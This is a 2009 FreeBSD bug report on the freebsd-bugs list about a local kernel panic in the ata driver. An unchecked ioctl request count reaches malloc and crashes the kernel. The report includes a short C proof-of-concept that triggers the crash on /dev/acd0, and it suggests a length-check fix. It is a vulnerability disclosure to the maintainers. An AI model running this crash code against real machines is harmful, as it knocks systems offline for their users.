kern/135922: fbsd 'ata' driver kernel panic DoS (ioctl)
Shaun Colley
cm07sc at leeds.ac.uk
Mon Jun 22 16:20:01 UTC 2009
>Number: 135922
>Category: kern
>Synopsis: fbsd 'ata' driver kernel panic DoS (ioctl)
>Confidential: no
>Severity: non-critical
>Priority: low
>Responsible: freebsd-bugs
>State: open
>Quarter:
>Keywords:
>Date-Required:
>Class: sw-bug
>Submitter-Id: current-users
>Arrival-Date: Mon Jun 22 16:20:01 UTC 2009
>Closed-Date:
>Last-Modified:
>Originator: Shaun Colley
>Release: 6.0-RELEASE, 8-CURRENT
>Organization:
NGSSoftware Ltd.
>Environment:
>Description:
An specially crafted ioctl request can be made to the ata device driver to cause a kernel panic.
ata_device_ioctl() in dev/ata/ata-all.c has the following IOCATAREQUEST option.
---
483 case IOCATAREQUEST:
484 if (!(buf = malloc(ioc_request->count, M_ATA, M_NOWAIT))) {
485 return ENOMEM;
486 }
487 if (!(request = ata_alloc_request())) {
488 free(buf, M_ATA);
489 return ENOMEM;
490 }
491 request->dev = atadev->dev;
492 if (ioc_request->flags & ATA_CMD_WRITE) {
493 error = copyin(ioc_request->data, buf, ioc_request->count);
494 if (error) {
495 free(buf, M_ATA);
496 ata_free_request(request);
497 return error;
498 }
499 }
[..........]
---
ioc_request->count is under user control, and this is passed to malloc(9). If a very large integer is given in ioc_request->count, kmem_alloc will choke, resulting in a kernel panic. ioc_request->count should be sanitised..
The kernel panic can be reproduced with the code below (in 'how to repeat the problem'). A panic in kmem_alloc will occur.
Obviously you need read access to the ata device in /dev to be able to open(2) it, which mitigates the attack somewhat (though could be chained with some other symlink/race condition bug to get the privs needed...).
The latest driver code is vulnerable.
Give it a try and report back, cheers.
>How-To-Repeat:
---
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>
struct ata_ioc_request {
union {
struct {
u_int8_t command;
u_int8_t feature;
u_int64_t lba;
u_int16_t count;
} ata;
struct {
char ccb[16];
} atapi;
} u;
caddr_t data;
int count;
int flags;
int timeout;
int error;
};
#define IOCATAREQUEST _IOWR('a', 100, struct ata_ioc_request)
int main() {
int fd;
struct ata_ioc_request evil;
evil.count = 0xffffffff; /* large integer passed to malloc(9)
fd = open("/dev/acd0", O_RDONLY); /* one of my ata devices */
ioctl(fd, IOCATAREQUEST, &evil);
/* should never reach here if kernel panics */
return 0;
}
---
(hopefully I didn't mess the code up when I was pasting it)
>Fix:
I'd write a patch but I'm not running with fbsd right now. ioc_request->count should be sanitised. Is there a reason why ioc_request.count is a signed int? Could make it unsigned and then just do a length check
if(ioc_request->count > PAGE_SIZE) return ENOMEM;
or something.
>Release-Note:
>Audit-Trail:
>Unformatted:
More information about the freebsd-bugs
mailing list